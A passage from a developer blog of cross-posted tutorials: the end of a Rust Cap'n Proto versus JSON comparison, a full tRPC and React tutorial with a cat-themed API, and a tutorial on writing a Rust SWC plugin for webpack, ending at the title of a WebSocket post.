    stream.write_all(data).await?;

    let mut stream = TcpStream::connect("127.0.0.1:3001").await?;
    stream.write_all(json_data).await?;

    Ok(())
}

We start by implementing the client, which gets both the Cap’n Proto and JSON payloads as byte arrays and simply opens a connection to both the JSON and Cap’n Proto servers, sending the payloads across.

Next up, let’s implement a simple TCP server that receives these payloads on port 3000 for Cap’n Proto and 3001 for JSON.

async fn server(port: u16) -> Result<(), Box<dyn std::error::Error>> {
    println!("started in SERVER mode");
    let listener = TcpListener::bind(format!("127.0.0.1:{}", port)).await?;

    println!("server running at 127.0.0.1:{}", port);

    loop {
        match listener.accept().await {
            Ok((mut socket, addr)) => {
                tokio::spawn(async move {
                    println!("accepted connection from: {}", addr);
                    let mut buf = [0; 1024];
                    let mut sum = 0;
                    let mut full_msg: Vec<u8> = Vec::new();

                    loop {
                        let n = match socket.read(&mut buf).await {
                            Ok(n) => {
                                if n == 0 {
                                    println!(
                                        "read {:?} bytes, msg size: {:?}",
                                        sum,
                                        full_msg.len()
                                    );
                                    match port {
                                        3000 => deserialize_cpnproto(&full_msg),
                                        3001 => deserialize_json(&full_msg),
                                        _ => unreachable!(),
                                    };
                                    return;
                                } else {
                                    full_msg.extend(buf[0..n].iter());
                                    n
                                }
                            }
                            Err(e) => {
                                println!("error reading from socket: {}", e);
                                return;
                            }
                        };
                        sum += n;
                    }
                });
            }
            Err(e) => println!("error on client connection: {}", e),
        }
    }
}

We’ll provide the port on which to start the server and depending on that, we either deserialize the incoming payload as Cap’n Proto, or JSON. To achieve this, we start a TCP listener for the port and wait for incoming connections. Then, for each incoming connection, we start an asynchronous task, which reads the whole message and deserializes it in the correct format depending on the given port.

There’s not too much interesting stuff in this part of the code. We simply read 1024 byte chunks from the socket into a buffer and concatenate it to form the full message, which once we stop receiving more data, we deserialize.

Putting it all together

Now we can put it all together in main.

mod cats_capnp;

#[tokio::main]
async fn main() -> Result<(), Box<dyn std::error::Error>> {
    let img = fs::read("./minka.jpg").expect("can load image");

    let args: Vec<String> = env::args().collect();
    if args.len() >= 2 {
        match &args[1][..] {
            "c" => return client(&build_cpnproto_msg(&img), &build_msg_json(&img)).await,
            "sc" => return server(3000).await,
            "sj" => return server(3001).await,
            _ => (),
        }
    }

    Ok(())
}

We first read the image of my wonderful cat we embedded in our data model from disk and then do a little command line argument parsing, to figure out whether we should start in client, Cap’n Proto Server, or JSON Server mode.

That’s it.

Now we can run our code using the following commands and test it:

cargo run – sj - runs the JSON server
cargo run – sc - runs the Cap’n Proto server
cargo run – c - runs the client that sends data to the servers

Or we can build a Release binary using cargo build --release and run it like this:

JSON Server:

./target/release/rust-capnproto-example sj

started in SERVER mode
server running at 127.0.0.1:3001
accepted connection from: 127.0.0.1:51228
read 5135025 bytes, msg size: 5135025
JSON DE: Minka, duration: 7.354708ms, img len: 3850802

Cap’n Proto Server:

./target/release/rust-capnproto-example sc

started in SERVER mode
server running at 127.0.0.1:3000

accepted connection from: 127.0.0.1:51284
read 3851224 bytes, msg size: 3851224
CAPNP DE: Minka duration: 488.5µs

Client:

./target/release/rust-capnproto-example c


CAPNP SE: duration: 615.792µs, len: 3851224
JSON SE: duration: 4.697292ms, len: 5135025
started in CLIENT mode

Nice, it works! And we can also see some interesting differences in payload size and execution speed.

These measurements are not reliable due to anything that’ll apply to micro-benchmarks and the fact that this isn’t even a benchmark, but a random measurement of one singular run and the only reason I’m putting them here is to provide a general, rough, orders-of-magnitude-esque foundation for comparison.

If you’re interested in actual benchmarks, you can check out serdebench, which includes Cap’n Proto as well.

The full code can be found here.

Conclusion

In this post we checked out how we can use the Cap’n Proto serialization protocol within Rust in a basic way and compared it to using JSON with Serde in terms of ergonomics and payload size.

From my perspective, without any in-depth previous experience with Protocol Buffers and such, using Cap’n Proto turned out to be quite approachable. Both the schema as well as the generated code seem reasonable the capnp crate seems to have great ergonomics as well.

I can definitely see myself using Cap’n Proto in one of my future Rust projects.

Resources

Build a full-stack TypeScript app using tRPC and React

30 Jun 2023 00:00 +0000

This post was originally posted on the LogRocket blog on 26.05.2023 and was cross-posted here by the author.

In this article, we’ll build a simple, full-stack TypeScript app using tRPC, which means that the app will not only be type-safe when it comes to the code, but also across the API boundary.

You may already be familiar with the remote procedure call framework gRPC. Given the similarity in the naming, you might be inclined to believe that tRPC is somehow related to it, or does the same or a similar thing. However, this is not the case. While tRPC is indeed also a remote procedure call framework, its goals and basis differ fundamentally from gRPC. The main goal of tRPC is to provide a simple, type-safe way to build APIs for TypeScript and JavaScript-based projects with a minimal footprint.

In the following example, we’ll build a small, cat-themed application to showcase how to set up tRPC on the backend and how to consume the created API within a React frontend. Let’s get started! You can find the full code for this example on GitHub.

Exploring tRPC

If you have an application that uses TypeScript on both the backend and the frontend, tRPC helps you set up your API in a way that incurs the absolute minimum overhead in terms of dependencies and runtime complexity. However, tRPC still provides type safety , as well as all the features that come with it, like auto-completion for the whole API and errors if the API is used in an invalid way.

In practical terms, you can think of tRPC it as a very lightweight alternative to GraphQL. However, tRPC is not without its limitations. For one, it’s limited to TypeScript and JavaScript. Additionally, the API you are building will follow the tRPC model, which means it won’t be a REST API. For example, you can’t simply convert a REST-API to tRPC and have the same API as before but with types.

Essentially, tRPC is a batteries-included solution for all your API needs, but it will also be a tRPC-API. That’s where the “RPC” in the name comes from, fundamentally changing how your remote calls work.

With the widespread use of TypeScript and JavaScript, especially on the client side for the web, mobile, and native, tRPC could be a great solution for you as long as you’re comfortable using TypeScript on your API gateway.

Setting up tRPC

We’ll start by creating two folders in our project root called server. Within the server folder, we create a package.json file as follows:

    {
      "name": "server",
      "version": "1.0.0",
      "description": "",
      "main": "index.js",
      "scripts": {
        "test": "echo \"Error: no test specified\" && exit 1"
      },
      "author": "",
      "license": "ISC",
      "devDependencies": {
        "@tsconfig/node14": "^1.0.1",
        "typescript": "^4.5"
      },
      "dependencies": {
        "@trpc/server": "^9.21.0",
        "@types/cors": "^2.8.12",
        "@types/express": "^4.17.13",
        "cors": "^2.8.5",
        "express": "^4.17.2",
        "zod": "^3.14.2"
      }
    }

We’ll also create a tsconfig.json file:

    {
      "extends": "@tsconfig/node14/tsconfig.json",
      "compilerOptions": {
          "outDir": "build"
      }
    }

Finally, create an executable run.sh file:

    #!/bin/bash -e
    
    ./node_modules/.bin/tsc && node build/index.js

Next, we create a folder called src and include an index.ts file within it. Finally, we execute npm install in the server folder, and we’re done with the setup for the backend.

For the frontend, we’ll use Create React App with TypeScript support using the following command within the project root:

    npx create-react-app client --template typescript

We can also run npm install in the client folder and run the app with npm start to see that everything works and is set up properly. Next, we’ll implement the backend of our application.

Setting up our Express backend

Install dependencies

As you can see above in the package.json of the server part of our application, we use Express.js as our HTTP server. Additionally, we add TypeScript as well as the trpc-server dependency.

Beyond that, we use the cors library for adding CORS to our API, which isn’t really necessary for this example, but why not. We also add Zod, a schema validation library with TypeScript support, which is often used in combination with tRPC. However, you can use other libraries like Yup or Superstruct with tRPC. Later on, we’ll see exactly what this is for.

With the dependencies out of the way, let’s set up our basic Express backend with tRPC support.

Backend with Express

We’ll start by defining the tRPC router, which is a very important part of this whole infrastructure, allowing us to wire together our backend and frontend in terms of type safety and autocompletion. This router should be in its own file, for example router.ts, since we’ll import it into our React app later on as well.

Within router.ts, we start by defining the data structure for our domain object, Cat:

    let cats: Cat[] = [];
    
    const Cat = z.object({
        id: z.number(),
        name: z.string(),
    });
    const Cats = z.array(Cat);
    
    ...
    
    export type Cat = z.infer<typeof Cat>;
    export type Cats = z.infer<typeof Cats>;

You might be wondering why we’re not building simple JavaScript or TypeScript types and objects. Since we use Zod for schema validation with tRPC, we also need to build these domain objects with it.

In addition, we can actually add validation rules using Zod, like a maximum amount of characters for a string, email validation, and more, combining type checking with actual validation.

We also get automatically created error messages in case an input is not valid. However, these errors can be entirely customized. If you’re interested in validation and error handling, check out the docs for more information.

After implementing our type using Zod, we can actually infer a TypeScript type from it using z.infer. Once we have that, we export the type for use in other parts of the app like the frontend, and then move on to creating the heart of the application, the router:

    const trpcRouter = trpc.router()
        .query('get', {
            input: z.number(),
            output: Cat,
            async resolve(req) {
                const foundCat = cats.find((cat => cat.id === req.input));
                if (!foundCat) {
                    throw new trpc.TRPCError({
                        code: 'BAD_REQUEST',
                        message: `could not find cat with id ${req.input}`,
                    });
                }
                return foundCat;
            },
        })
        .query('list', {
            output: Cats,
            async resolve() {
                return cats;
            },
        })

We can create a tRPC router by calling the router() method and chaining our different endpoints on to it. It’s also possible to create multiple routers and combine them. In tRPC, there are two types of procedures:

Query: Used for fetching data. Think GET
Mutation: Used for changing data. Think POST, PUT, PATCH, DELETE

In the snippet above, we create our query endpoints, one for fetching a singular cat by ID and one for fetching all cats. tRPC also supports the concept of infiniteQuery, which takes a cursor and can return a paged response of potentially infinite data, if needed.

For out GET endpoint, we define an input. This endpoint will essentially be a GET /get?input=123 endpoint, returning the JSON of our Cat based on the definition above.

Of course, we can define multiple inputs if we need them. In the resolve async function, we implement our actual business logic.

In a real world application, we might call a service here, or a database layer, but since we’re just saving our cats in-memory, or in an array, we check if we have a cat with the given ID and if not, we throw an error. If we find a cat, we return it. And that’s it for fetching a cat by ID!

The list endpoint is even simpler than that since it takes no input and returns only our current list of cats. Let’s look at how we can implement creation and deletion with tRPC:

        .mutation('create', {
            input: z.object({ name: z.string().max(50) }),
            async resolve(req) {
                const newCat: Cat = { id: newId(), name: req.input.name };
                cats.push(newCat)
                return newCat
            }
        })
        .mutation('delete', {
            input: z.object({ id: z.number() }),
            output: z.string(),
            async resolve(req) {
                cats = cats.filter(cat => cat.id !== req.input.id);
                return "success"
            }
        });
        
    function newId(): number {
        return Math.floor(Math.random() * 10000)
    }
    
    export type TRPCRouter = typeof trpcRouter;
    export default trpcRouter;

As you can see, we use the .mutation method to create a new mutation. Within it, we can, again, define input, which in this case will be a JSON object. Be sure to note the validation option we provided here for the name.

In resolve, we create a new Cat from the given name with a random ID. Check the newId function at the bottom and add it to our list of cats, returning the new cat to the caller. This will turn out to something like a POST /create expecting some kind of body. If we use the application/json content-type, it will return JSON to us and expect JSON.

In the delete mutation, we expect a cat’s ID, filter the list of cats for that ID, and update the list, returning a success message to the user. The responses don’t actually look like what we define here. Rather, they are wrapped inside of a tRPC response like the one below:

    {"id":null,"result":{"type":"data","data":"success"}}

And that’s it for our router. We have all the endpoints we need. Now, we’ll have to wire it up with an Express.js web app:

    import express, { Application } from 'express';
    import cors from 'cors';
    import * as trpcExpress from '@trpc/server/adapters/express';
    import trpcRouter from './router';
    
    const app: Application = express();
    
    const createContext = ({}: trpcExpress.CreateExpressContextOptions) => ({})
    
    app.use(express.json());
    app.use(cors());
    app.use(
        '/cat',
        trpcExpress.createExpressMiddleware({
            router: trpcRouter,
            createContext,
        }),
    );
    
    app.listen(8080, () => {
        console.log("Server running on port 8080");
    });

tRPC comes with an adapter for Express, so we simply create our Express application and then use the provided tRPC middleware inside of this app.

We can define a sub-route where this configuration should be used, a router, and a context. The context function is called for each incoming request and passes its result to the handlers, so this would be where you could add the context data you want for each request, like an authentication token or a userId of a user who is logged in.

If you want to learn more about authorization with tRPC, there’s a section about it in the docs.

Testing our Express backend

That’s it for the app! Let’s test it quickly so we know everything is working correctly We can start the appby executing the ./run.sh file and send off some HTTP requests using cURL.

First, let’s create a new cat:

    curl -X POST "http://localhost:8080/cat/create" -d '{"name": "Minka" }' -H 'content-type: application/json'
    
    {"id":null,"result":{"type":"data","data":{"id":7216,"name":"Minka"}}}

Then, we can list the existing cats:

    curl "http://localhost:8080/cat/list"
    
    {"id":null,"result":{"type":"data","data":[{"id":7216,"name":"Minka"}]}}

We can also fetch the cat by it’s ID:

    curl "http://localhost:8080/cat/get?input=7216"
    
    {"id":null,"result":{"type":"data","data":{"id":7216,"name":"Minka"}}}

And finally, delete it:

    curl -X POST  "http://localhost:8080/cat/delete" -d '{"id": 7216}' -H 'content-type: application/json'
    
    {"id":null,"result":{"type":"data","data":"success"}}
    
    curl "http://localhost:8080/cat/list"
    
    {"id":null,"result":{"type":"data","data":[]}}

Everything seems to work as expected. Now, with the backend in place, let’s build our React app.

Creating our React frontend

First, within the src folder, let’s create a cats folder to have some structure in our application. Then, we add some additional dependencies we’ll need:

    npm install --save @trpc/client @trpc/server @trpc/react react-query zod

These are the tRPC dependencies we’ll need, the server for type safety, the client for the minimal logic needed to make calls to an API, zod, as mentioned before, for schema validation, trpc/react for easier integration with React Query, and finally React Query.

However, it’s also possible to use trpc/client on its own, or completely vanilla, which is also covered in the docs.

In this example, just like in the official ones, we’ll use React Query, which adds API-interaction to React apps. This, also, is completely optional, and it’s possible to just use a vanilla client with the frontend framework of your choice, including React, and integrate it exactly the way you want to. Let’s start by building the basic structure of our app in App.tsx:

    import { useState } from 'react';
    import './App.css';
    import type { TRPCRouter } from '../../server/src/router';
    import { createReactQueryHooks } from '@trpc/react';
    import { QueryClient, QueryClientProvider } from 'react-query';
    import Create from './cats/Create';
    import Detail from './cats/Detail';
    import List from './cats/List';
    
    const BACKEND_URL: string = "http://localhost:8080/cat";
    
    export const trpc = createReactQueryHooks<TRPCRouter>();
    
    function App() {
      const [queryClient] = useState(() => new QueryClient());
      const [trpcClient] = useState(() => trpc.createClient({ url: BACKEND_URL }));
    
      const [detailId, setDetailId] = useState(-1);
    
      const setDetail = (id: number) => {
        setDetailId(id);
      }
    
      return (
        <trpc.Provider client={trpcClient} queryClient={queryClient}>
          <QueryClientProvider client={queryClient}>
            <div className="App">
              <Create />
              <List setDetail={setDetail}/>
              { detailId > 0 ? <Detail id={detailId} /> : null }
            </div>
          </QueryClientProvider>
        </trpc.Provider>
      );
    }
    
    export default App;

There’s quite a bit to unpack, so let’s start from the top. We instantiate trpc using the createReactQueryHooks helper from trpc/react, giving it the TRPCRouter that we import from our backend app. We also export for use in the rest of our app.

Essentially, this creates all the bindings towards our API underneath. Next, we create a React Query client and a tRPC-client to provide the URL for our backend. This is the client we’ll use to make requests to the API, or rather the client React Query will use underneath.

In addition to all of this setup, we also define a state variable for detailId so we know which cat-detail to show if the user selects any.

If you check out what we return from App, you can see that our actual markup, the div with the App class is nested within two layers. These layers are on the outer side, the tRPC provider and inside that, the React Query provider.

These two components make the necessary moving parts available to our whole application, so we can use trpc throughout our application, and our query calls get integrated with our React app seamlessly.

Next, we add components for Create, List, and Detail to our markup, which will include all of our business logic.

Let’s start with the Create component by creating a Create.css and Create.tsx file inside the src/cats folder. In this component, we’ll simply create a form and connect the form to the create mutation we implemented on the backend. Once a new cat has been created, we want to re-fetch the list of cats so that it’s always up to date.

Let’s look at how we could implement this:

    import './Create.css';
    import { ChangeEvent, useState } from 'react';
    import { trpc } from '../App';
    
    function Create() {
      const [text, setText] = useState("");
      const [error, setError] = useState("");
    
      const cats = trpc.useQuery(['list']);
      const createMutation = trpc.useMutation(['create'], {
        onSuccess: () => {
          cats.refetch();
        },
        onError: (data) => {
          setError(data.message);
        }
      });
    
      const updateText = (event: ChangeEvent<HTMLInputElement>) => {
        setText(event.target.value);
      };
    
      const handleCreate = async() => {
        createMutation.mutate({ name: text });
        setText("");
      };
    
      return (
        <div className="Create">
          {error && error}
          <h2>Create Cat</h2>
          <div>Name: <input type="text" onChange={updateText} value={text} /></div>
          <div><button onClick={handleCreate}>Create</button></div>
        </div>
      );
    }
    
    export default Create;

We start off with some very basic, vanilla React logic. We create some internal component state for our form field and potential errors, we might want to show and return a simple form, featuring a text field connected to our state and a button to submit it. So far, so good.

Now, let’s look at the handleCreate function. Here, we call .mutate on the createMutation, which we define above it and reset the text field afterwards.

The createMutation is created using trpc.useMutation with our create endpoint. In your IDE or editor, note that when typing create within the useMutation call, you will get autocomplete suggestions.

This is tRPC in action. We also get suggestions in the payload for the .mutate call, suggesting that we use the name field.

Inside the .useMutation call, we define what should happen on success and on error. If we encounter an error, we simply want to display it using our component-internal state.

If we successfully create a cat, we want to re-fetch the data for our list of cats. For this purpose, we define a call to this endpoint using trpc.useQuery with our list endpoint and call it inside the onSuccess handler.

We can already see how easy it is to integrate our app with the tRPC API, as well as how tRPC helps us during development. Let’s look at the detail view next, creating Detail.tsx and Detail.css within the cats folder:

    import './Detail.css';
    import { trpc } from '../App';
    
    function Detail(props: {
      id: number,
    }) {
      const cat = trpc.useQuery(['get', props.id]);
    
      return (
        cat.data ? 
          <div className="Detail">
            <h2>Detail</h2>
            <div>{cat.data.id}</div>
            <div>{cat.data.name}</div>
          </div> : <div className="Detail"></div>
      );
    }
    
    export default Detail;

This is a very simple component. We basically just use .useQuery again to define our getCatById endpoint, providing the ID we get from our root component via props.

We render the details of the cat, if we actually get data. Notice that we could also use effects for the data fetching here, essentially any way you would integrate an API with your React app will work fine with tRPC and React Query.

Finally, let’s implement our List component by creating List.css and List.tsx in cats. In our list of cats, we’ll display the ID and name of a cat, as well as a link to display it in detail and a link to delete it:

    import './List.css';
    import { trpc } from '../App';
    import type { Cat } from '../../../server/src/router';
    import { useState } from 'react';
    
    function List(props: {
      setDetail: (id: number) => void,
    }) {
      const [error, setError] = useState("");
      const cats = trpc.useQuery(['list']);
      const deleteMutation = trpc.useMutation(['delete'], {
        onSuccess: () => {
          cats.refetch();
        },
        onError: (data) => {
          setError(data.message);
        }
      });
    
      const handleDelete = async(id: number) => {
        deleteMutation.mutate({ id })
      };
    
      const catRow = (cat: Cat) => {
        return (
          <div key={cat.id}>
            <span>{cat.id}</span>
            <span>{cat.name}</span>
            <span><a href="#" onClick={props.setDetail.bind(null, cat.id)}>detail</a></span>
            <span><a href="#" onClick={handleDelete.bind(null, cat.id)}>delete</a></span>
          </div>
        );
      };
    
      return (
        <div className="List">
          <h2>Cats</h2>
          <span>{error}</span>
          { cats.data && cats.data.map((cat) => {
            return catRow(cat);
          })}
        </div>
      );
    }
    
    export default List;

This component basically combines the functionality we used in the two previous ones. For one, we fetch the list of cats using useQuery on our list endpoint and also implement the deletion of cats with a subsequent re-fetch using deleteMutation, pointing to our delete mutation on the backend.

Besides that, everything is quite similar. We pass in the setDetailId function from App via props, so we can set the cat to show details on in Detail and create a handler for deleting a cat, which executes our mutation.

Again, if you write this code, notice all the nice autocompletion we’re provided by tRPC. Also, if you mistype something, for example the name of an endpoint, you will get an error and our frontend will actually not build/start, until the error is corrected.

That’s it for the frontend, let’s test it and see tRPC in action!

Testing and tRPC features

First, let’s start the app with npm start and see how it works. Once the app is up, we can create new cats, delete them, and watch their detail page while observing the changes directly in the list. It’s not particularly pretty, but it works!

Let’s take a look at how tRPC can help us during our development process. Let’s say we want to add an age field for our cats:

    const Cat = z.object({
        id: z.number(),
        name: z.string(),
        age: z.number(),
    });
    
    ...
        .mutation('create', {
            input: z.object({ name: z.string().max(50), age: z.number().min(1).max(30) }),
            async resolve(req) {
                const newCat: Cat = { id: newId(), name: req.input.name, age: req.input.age };
                cats.push(newCat)
                return newCat
            }
        })
    ...

We add the field to our domain object, and we also need to add it to our create endpoint. Once you hit save on your backend code, navigate back to your frontend code in ./client/src/cats/Create.tsx.

We can see that our editor shows us an error. The propery age is missing in our call to createMutation:

If we want to add the age field to our mutation now, our editor will provide us with autocomplete, together with full type-information, directly from our changed router.ts:

From my perspective, this is the true power of tRPC. While it’s nice to have a simple way to create an API both on the frontend and the backend, the real selling point is the fact that the code actually won’t build if I make a breaking change on one side and not the other, as well as the fantastic support in terms of development tools.

For example, imagine a huge codebase with multiple teams working on API endpoints and UI elements. Having this kind of safety in terms of API compatibility with almost no overhead to the application is quite remarkable.

Conclusion

I can see, how tRPC could be quite useful in situations where one uses TypeScript both on the frontend and backend anyway. I love the low-footprint approach with minimal, or no extra dependencies, focusing on compile-time correctness, rather than runtime-checking.

Obviously, if you create an API that might be used by a myriad of different clients based on different technologies, the TypeScript limitation might be too much to bear. The principle behind tRPC is great in terms of developer experience and it’s an exciting project I will certainly keep my eye on in the future.

Writing webpack plugins in Rust using SWC for faster builds

21 Jun 2023 00:00 +0000

This post was originally posted on the LogRocket blog on 24.05.2023 and was cross-posted here by the author.

In a previous post, we covered how to migrate an existing webpack project from Babel to Speedy Web Compiler (SWC). SWC is a high-performance JavaScript/TypeScript compiler written in Rust, with the goal of speeding up existing build pipelines for modern frontend web projects.

In this article, we’ll look at how to write custom plugins for SWC, which can then be used in webpack builds. By migrating your existing custom webpack and Babel plugins to Rust, you’ll be able to make your webpack builds even faster.

Before we jump in, there is a small disclaimer. At the time of writing, the SWC plugin system is still experimental. If you plan to use your custom SWC plugins in an actual project, you should be prepared to deal with some API instability and potential breaking changes. The APIs described here may change in the upcoming months and years, but the concepts and general approach shared in this article should remain valid.

In this tutorial, we’ll create a simple custom Rust-based SWC plugin and compile it to Wasm, so it can be used in a webpack build using swc-loader. We’ll build our simple plugin and import it in a JavaScript project using webpack, configure it as a plugin running with the [swc-loader](https://github.com/swc-project/swc-loader) within webpack, and then check that the plugin was run and that it worked.

Let’s get started!

Setting up the project

For the purposes of this tutorial, we’ll build a very simple plugin that will transform console.log statements in the codebase to console.debug statements. This plugin may not be particularly useful in real life, but it’s a solid example to demonstrate basic concepts, rather than trying to show how to use SWC to build complex Abstract Syntax Tree (AST)-transformation plugins.

If you’re interested in learning how to build more complex plugins, I recommend checking out the SWC docs.

Let’s start by installing the SWC command line interface:

    cargo install swc_cli

There is currently a bug in a dependency, so let’s use Rust nightly-2022-09-23 to build our plugin. We’ll use the below commands to install this version of Rust and set it as the default:

    rustup install nightly-2022-09-23
    rustup default nightly-2022-09-23-x86_64-unknown-linux-gnu

Now, let’s add a Wasm compile target:

    rustup target add wasm32-wasi

Next, we’ll create a new SWC plugin project, like so:

    swc plugin new --target-type wasm32-wasi rust-swc-webpack-plugin

This will create a rust-swc-webpack-plugin folder and, inside the folder, it will initialize everything we need to start building our plugin.

Setting up the SWC plugin

For this tutorial, we’ll use swc_core v.0.69. At the time of writing, the Wasm-based SWC plugins are not backward compatible, so it’s important that the swc_core version used in our Rust-based plugin is compatible with the swc/core version that will be used in the JavaScript project later on:

    swc_core = { version = "0.69.*", features = ["common", "ecma_utils", "ecma_plugin_transform"] }

The SWC CLI creates a src/lib.rs file with some available template code. It also sets up all the dependencies and other items relevant to the build process.

Check out the Cargo.toml file, as well as the src/lib.rs file and package.json created by the CLI before moving on, to get a better idea of the starting point for building an SWC plugin.

Let’s start implementing our custom SWC plugin!

Implementing the SWC plugin

As a first step, let’s take a look in the lib.rs file:

    use swc_core::ecma::{
        ast::Program,
        transforms::testing::test,
        visit::{as_folder, FoldWith, VisitMut},
    };
    use swc_core::plugin::{plugin_transform, proxies::TransformPluginProgramMetadata};
    
    pub struct TransformVisitor;
    
    impl VisitMut for TransformVisitor {
    
    }

We have the basic parts of swc_core imported, but we need to implement the VisitMut trait for a given struct called TransformVisitor. With the VisitMut trait, we can implement many different methods, which will be called when the AST is traversed. In our example we’ll implement visit_mut_call_expr, which will be called whenever a call expression, such as console.log(), is encountered.

The above code also includes a plugin_transform function and macro; these are some of the basic “machinery” used to wire the plugin up correctly.

We also have a default test harness, so we can use cargo test to test our plugin:

    test!(
        Default::default(),
        |_| as_folder(TransformVisitor),
        boo,
        // Input codes
        r#"console.log("transform");"#,
        // Output codes after transformed with plugin
        r#"console.log("transform");"#
    );

From this base, we can start implementing our custom SWC plugin. First, let’s introduce some constants:

    const CONSOLE: &str = "console";
    const DEBUG: &str = "debug";
    const LOG: &str = "log";

Next, we’ll implement our actual plugin logic:

    impl VisitMut for TransformVisitor {
        noop_visit_mut_type!();
    
        fn visit_mut_call_expr(&mut self, call_expr: &mut CallExpr) {
            call_expr.visit_mut_children_with(self);
    
            if let Callee::Expr(callee) = &mut call_expr.callee {
                if let Expr::Member(member) = &**callee {
                    if let (Expr::Ident(obj), MemberProp::Ident(prop)) = (&*member.obj, &member.prop) {
                        if &obj.sym == CONSOLE && &prop.sym == LOG {
                            *callee = Box::new(Expr::Member(MemberExpr {
                                span: DUMMY_SP,
                                obj: member.obj.to_owned(),
                                prop: MemberProp::Ident(quote_ident!(DEBUG)),
                            }));
                        }
                    }
                }
            }
        }
    }

In the above code, noop_visit_mut_type!(); simply indicates that TypeScript types don’t need to be considered, which reduces the binary size of the plugin.

Then we implement the visit_mut_call_expr method of the VisitMut trait, which will be called for every call expression encountered in the AST.

We use visit_mut_children_with to ensure that our logic is also called for all children nodes of the current node.

Then we implement the actual logic of our plugin. We start by drilling down the AST of the call expression, by getting the callee of the expression, and by splitting the expression up into the thing we call something on (obj) and the thing we call (prop).

With these two elements (obj and prop), we can check that we only run our logic if we call log on console.

If this is the case, we update the callee to use the debug call, instead of the log call.

To stay with the scope of this post, I won’t go into too much detail on the types, such as MemberExpr, Expr::Ident, etc., representing the AST involved here. For more information, check out the official docs.

That’s quite a bit of code for changing a simple property, but keep in mind that we’re literally manipulating the AST while traversing it. In addition, we’re dealing with the entire complexity of ECMAScript and TypeScript.

Creating the plugin test cases

Hopefully we’ve implemented our logic correctly! Let’s check with some testing.

We’ll use the test-harness macro to create some test cases for our plugin:

    test!(
        Default::default(),
        |_| as_folder(TransformVisitor),
        log_to_debug,
        // Input codes
        r#"console.log("hello, world");"#,
        // Output codes after transformed with plugin
        r#"console.debug("hello, world");"#
    );
    
    test!(
        Default::default(),
        |_| as_folder(TransformVisitor),
        debug_stays_debug,
        // Input codes
        r#"console.debug("hello, world");"#,
        // Output codes after transformed with plugin
        r#"console.debug("hello, world");"#
    );
    
    test!(
        Default::default(),
        |_| as_folder(TransformVisitor),
        not_interested_in_args,
        // Input codes
        r#"console.debug("log");"#,
        // Output codes after transformed with plugin
        r#"console.debug("log");"#
    );

We can use cargo test to test our SWC plugin. If everything was implemented correctly, we should see the following output:

    running 3 tests
    test log_to_debug ... ok
    test not_interested_in_args ... ok
    test debug_stays_debug ... ok
    
    test result: ok. 3 passed; 0 failed; 0 ignored; 0 measured; 0 filtered out; finished in 0.01s

Great — things seem to be working!

Building the SWC plugin

Now that we’ve confirmed that everything is working properly, let’s build our plugin using the following command:

    cargo build-wasi --release

This will create our Wasm file at target/wasm32-wasi/release/rust_swc_webpack_plugin.wasm. This is the point where we could actually publish our plugin to npm, so that it could be used conveniently in projects.

With swc-loader, we can use this Wasm file in our webpack configuration in order to use our new plugin in a webpack build.

Testing the plugin with webpack

Now it’s time to test our SWC plugin with webpack.

Setup

Let’s start by setting up a basic JavaScript project with webpack by running npm init followed by npm i --save-dev @swc/core swc-loader webpack webpack-cli in a new folder.

In this example, let’s use the below versions of the various packages. As mentioned previously, the @swc/core version is especially important since it has to match up with the swc_core version in our Rust project:

    {
    ...
      "devDependencies": {
        "@swc/core": "^1.3.39",
        "swc-loader": "^0.2.3",is already
        "webpack": "^5.77.0",
        "webpack-cli": "^5.0.1"
      }
      ...
    }

Next, we’ll create an src folder and add a file, called index.js, inside it with the following content:

    console.log("hello, world");
    console.debug("this is already debuged. ");
    console.debug("log");
    console.trace("hello");

Here, we simply add a couple of console.log statements, so that we can test if our plugin runs and does its job properly.

Next, we’ll create a file called webpack.config.js in the root of the project. This file will hold our webpack config.

In the webpack config, we’ll start with the basics:

    module.exports = {
        name: 'swc-plugin-test',
        mode: "production",
        entry: path.join(__dirname, "src", "index.js"),
        output: {
            path: path.join(__dirname, "build"),
            filename: "bundle.js"
        },
    }

Here we set a name for the config, set the mode to production, and set the entry point and output for the webpack build — basic stuff. Now let’s look at the interesting stuff — how to configure swc-loader and a custom plugin:

    ...
        module: {
            rules: [
                {
                    test: /\.js$/,
                    use: [
                        {
                            loader: 'swc-loader',
                            options: {
                                jsc: {
                                    parser: { syntax: 'ecmascript' },
                                    experimental: {
                                        plugins: [["/file/path/to/rust-swc-webpack-plugin/target/wasm32-wasi/release/rust_swc_webpack_plugin.wasm", {}]]
                                    },
                                },
                            },
                        }
                    ],
                    exclude: /node_modules/,
                },
            ],
        },
    }

Here we define a module for all .js files. We also specify that swc-loader should be used as a loader and that it should run jsc to compile our ecmascript. We could also use TypeScript here if we were using that language in our project.

Next, we add our plugin. As you can see, this is in the experimental part of the config. Within experimental, we can define plugins and then simply add a tuple with the filesystem path to the Wasm file we previously built in our Rust plugin.

Here, we could also just add an existing plugin from npm. For example, we could use loadable-components SWC plugin from npm instead of the path to our Wasm file.

We also add a basic index.html file:

    <!DOCTYPE html>
    <html>
      <head>
        <meta charset="utf-8" />
        <title>webpack Plugin Test</title>
      </head>
      <body>
        <script src="./src/index.js"></script>
      </body>
    </html>

That’s it!

Testing

Now let’s use the following command to run webpack:

    ./node_modules/.bin/webpack

You should see output similar to this:

    asset bundle.js 113 bytes \[compared for emit\] [minimized] (name: main)
    ./src/index.js 117 bytes \[built\] [code generated]
    swc-plugin-test (webpack 5.77.0) compiled successfully in 290 ms

Now, let’s check the output in build/bundle.js, which is our index.js file compiled with our plugin:

    console.debug("hello, world"),console.debug("this is already debuged"),console.debug("log"),console.trace("hello");

All console.log statements were replaced with console.debug, but the console.trace was not touched. Our plugin was called and it worked — success!

Conclusion

In this article, we explored how to build custom SWC plugins using Rust and then use them in webpack-based JavaScript or TypeScript projects to improve performance by speeding up our builds.

The plugin system described in this tutorial is still experimental and will likely change and mature. However, at the time of writing it already works quite smoothly. It’s already possible to port complex Babel plugins to SWC by replicating the AST-traversal and modification logic and porting it to Rust.

If you’re interested in diving deeper into SWC plugin development, you can also check out the SWC Playground and the SWC Viewer project. These are both quite helpful resources for building SWC plugins.

SWC is an exciting project that was sorely needed in the bloated space of frontend build pipelines, providing the possibility to rebuild and rethink some of the existing machinery, while improving performance by orders of magnitude.

The examples used in this tutorial are available on GitHub.

How to build a WebSocket server with Rust

12 May 2023 00:00 +0000

This post was originally posted on the LogRocket blog on 25.04.2023 and was cross-posted here by the author.

